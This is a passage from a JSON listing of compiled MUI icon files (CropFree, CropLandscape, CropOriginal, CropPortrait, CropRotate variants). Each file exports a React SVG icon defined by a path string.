    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5v4h2V5h4V3H5c-1.1 0-2 .9-2 2m2 10H3v4c0 1.1.9 2 2 2h4v-2H5zm14 4h-4v2h4c1.1 0 2-.9 2-2v-4h-2zm0-16h-4v2h4v4h2V5c0-1.1-.9-2-2-2\"\n}), 'CropFreeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropFreeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5v3c0 .55.45 1 1 1s1-.45 1-1V6c0-.55.45-1 1-1h2c.55 0 1-.45 1-1s-.45-1-1-1H5c-1.1 0-2 .9-2 2m1 10c-.55 0-1 .45-1 1v3c0 1.1.9 2 2 2h3c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1-.45-1-1v-2c0-.55-.45-1-1-1m15 3c0 .55-.45 1-1 1h-2c-.55 0-1 .45-1 1s.45 1 1 1h3c1.1 0 2-.9 2-2v-3c0-.55-.45-1-1-1s-1 .45-1 1zm0-15h-3c-.55 0-1 .45-1 1s.45 1 1 1h2c.55 0 1 .45 1 1v2c0 .55.45 1 1 1s1-.45 1-1V5c0-1.1-.9-2-2-2\"\n}), 'CropFreeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropFreeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5v3c0 .55.45 1 1 1s1-.45 1-1V6c0-.55.45-1 1-1h2c.55 0 1-.45 1-1s-.45-1-1-1H5c-1.1 0-2 .9-2 2m1 10c-.55 0-1 .45-1 1v3c0 1.1.9 2 2 2h3c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1-.45-1-1v-2c0-.55-.45-1-1-1m15 3c0 .55-.45 1-1 1h-2c-.55 0-1 .45-1 1s.45 1 1 1h3c1.1 0 2-.9 2-2v-3c0-.55-.45-1-1-1s-1 .45-1 1zm0-15h-3c-.55 0-1 .45-1 1s.45 1 1 1h2c.55 0 1 .45 1 1v2c0 .55.45 1 1 1s1-.45 1-1V5c0-1.1-.9-2-2-2\"\n}), 'CropFreeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropFreeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v6h2V5h4V3zm2 12H3v6h6v-2H5zm14 4h-4v2h6v-6h-2zm2-16h-6v2h4v4h2z\"\n}), 'CropFreeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropFreeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v6h2V5h4V3zm2 12H3v6h6v-2H5zm14 4h-4v2h6v-6h-2zm2-16h-6v2h4v4h2z\"\n}), 'CropFreeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropFreeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 19c0 1.1.9 2 2 2h4v-2H5v-4H3zM21 5c0-1.1-.9-2-2-2h-4v2h4v4h2zM5 5h4V3H5c-1.1 0-2 .9-2 2v4h2zm16 14v-4h-2v4h-4v2h4c1.1 0 2-.9 2-2\"\n}), 'CropFreeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropFreeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 19c0 1.1.9 2 2 2h4v-2H5v-4H3zM21 5c0-1.1-.9-2-2-2h-4v2h4v4h2zM5 5h4V3H5c-1.1 0-2 .9-2 2v4h2zm16 14v-4h-2v4h-4v2h4c1.1 0 2-.9 2-2\"\n}), 'CropFreeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropLandscape.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 12H5V7h14z\"\n}), 'CropLandscape');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropLandscape.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 12H5V7h14z\"\n}), 'CropLandscape');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropLandscapeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 12H5V7h14z\"\n}), 'CropLandscapeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropLandscapeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 12H5V7h14z\"\n}), 'CropLandscapeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropLandscapeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-1 12H6c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v8c0 .55-.45 1-1 1\"\n}), 'CropLandscapeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropLandscapeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-1 12H6c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v8c0 .55-.45 1-1 1\"\n}), 'CropLandscapeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropLandscapeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5H3v14h18zm-2 12H5V7h14z\"\n}), 'CropLandscapeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropLandscapeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5H3v14h18zm-2 12H5V7h14z\"\n}), 'CropLandscapeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropLandscapeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 12H5V7h14z\"\n}), 'CropLandscapeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropLandscapeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 12H5V7h14z\"\n}), 'CropLandscapeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropOriginal.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-5.04-6.71-2.75 3.54-1.96-2.36L6.5 17h11z\"\n}), 'CropOriginal');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropOriginal.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-5.04-6.71-2.75 3.54-1.96-2.36L6.5 17h11z\"\n}), 'CropOriginal');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropOriginalOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-5.04-6.71-2.75 3.54-1.96-2.36L6.5 17h11z\"\n}), 'CropOriginalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropOriginalOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-5.04-6.71-2.75 3.54-1.96-2.36L6.5 17h11z\"\n}), 'CropOriginalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropOriginalRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 16H6c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1m-4.44-6.19-2.35 3.02-1.56-1.88c-.2-.25-.58-.24-.78.01l-1.74 2.23c-.26.33-.02.81.39.81h8.98c.41 0 .65-.47.4-.8l-2.55-3.39c-.19-.26-.59-.26-.79 0\"\n}), 'CropOriginalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropOriginalRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 16H6c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1m-4.44-6.19-2.35 3.02-1.56-1.88c-.2-.25-.58-.24-.78.01l-1.74 2.23c-.26.33-.02.81.39.81h8.98c.41 0 .65-.47.4-.8l-2.55-3.39c-.19-.26-.59-.26-.79 0\"\n}), 'CropOriginalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropOriginalSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zm-2 16H5V5h14zm-5.04-6.71-2.75 3.54-1.96-2.36L6.5 17h11z\"\n}), 'CropOriginalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropOriginalSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zm-2 16H5V5h14zm-5.04-6.71-2.75 3.54-1.96-2.36L6.5 17h11z\"\n}), 'CropOriginalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropOriginalTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-5.04-6.71-2.75 3.54-1.96-2.36L6.5 17h11z\"\n}), 'CropOriginalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropOriginalTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-5.04-6.71-2.75 3.54-1.96-2.36L6.5 17h11z\"\n}), 'CropOriginalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 15h2V7c0-1.1-.9-2-2-2H9v2h8zM7 17V1H5v4H1v2h4v10c0 1.1.9 2 2 2h10v4h2v-4h4v-2z\"\n}), 'CropOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 15h2V7c0-1.1-.9-2-2-2H9v2h8zM7 17V1H5v4H1v2h4v10c0 1.1.9 2 2 2h10v4h2v-4h4v-2z\"\n}), 'CropOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropPortrait.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H7V5h10z\"\n}), 'CropPortrait');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropPortrait.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H7V5h10z\"\n}), 'CropPortrait');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropPortraitOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H7V5h10z\"\n}), 'CropPortraitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropPortraitOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H7V5h10z\"\n}), 'CropPortraitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropPortraitRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 16H8c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h8c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1\"\n}), 'CropPortraitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropPortraitRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 16H8c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h8c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1\"\n}), 'CropPortraitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropPortraitSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5v18h14zm-2 16H7V5h10z\"\n}), 'CropPortraitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropPortraitSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5v18h14zm-2 16H7V5h10z\"\n}), 'CropPortraitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropPortraitTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 3H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H7V5h10z\"\n}), 'CropPortraitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropPortraitTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 3H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H7V5h10z\"\n}), 'CropPortraitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropRotate.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.47 21.49C4.2 19.93 1.86 16.76 1.5 13H0c.51 6.16 5.66 11 11.95 11 .23 0 .44-.02.66-.03L8.8 20.15zM12.05 0c-.23 0-.44.02-.66.04l3.81 3.81 1.33-1.33C19.8 4.07 22.14 7.24 22.5 11H24c-.51-6.16-5.66-11-11.95-11M16 14h2V8c0-1.11-.9-2-2-2h-6v2h6zm-8 2V4H6v2H4v2h2v8c0 1.1.89 2 2 2h8v2h2v-2h2v-2z\"\n}), 'CropRotate');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropRotate.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.47 21.49C4.2 19.93 1.86 16.76 1.5 13H0c.51 6.16 5.66 11 11.95 11 .23 0 .44-.02.66-.03L8.8 20.15zM12.05 0c-.23 0-.44.02-.66.04l3.81 3.81 1.33-1.33C19.8 4.07 22.14 7.24 22.5 11H24c-.51-6.16-5.66-11-11.95-11M16 14h2V8c0-1.11-.9-2-2-2h-6v2h6zm-8 2V4H6v2H4v2h2v8c0 1.1.89 2 2 2h8v2h2v-2h2v-2z\"\n}), 'CropRotate');"
  },
  {
    "path": "packages/mui-icons-material/lib/CropRotateOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.47 21.49C4.2 19.93 1.86 16.76 1.5 13H0c.51 6.16 5.66 11 11.95 11 .23 0 .44-.02.66-.03L8.8 20.15zM12.05 0c-.23 0-.44.02-.66.04l3.81 3.81 1.33-1.33C19.8 4.07 22.14 7.24 22.5 11H24c-.51-6.16-5.66-11-11.95-11M16 14h2V8c0-1.11-.9-2-2-2h-6v2h6zm-8 2V4H6v2H4v2h2v8c0 1.1.89 2 2 2h8v2h2v-2h2v-2z\"\n}), 'CropRotateOutlined');"
  },
  {
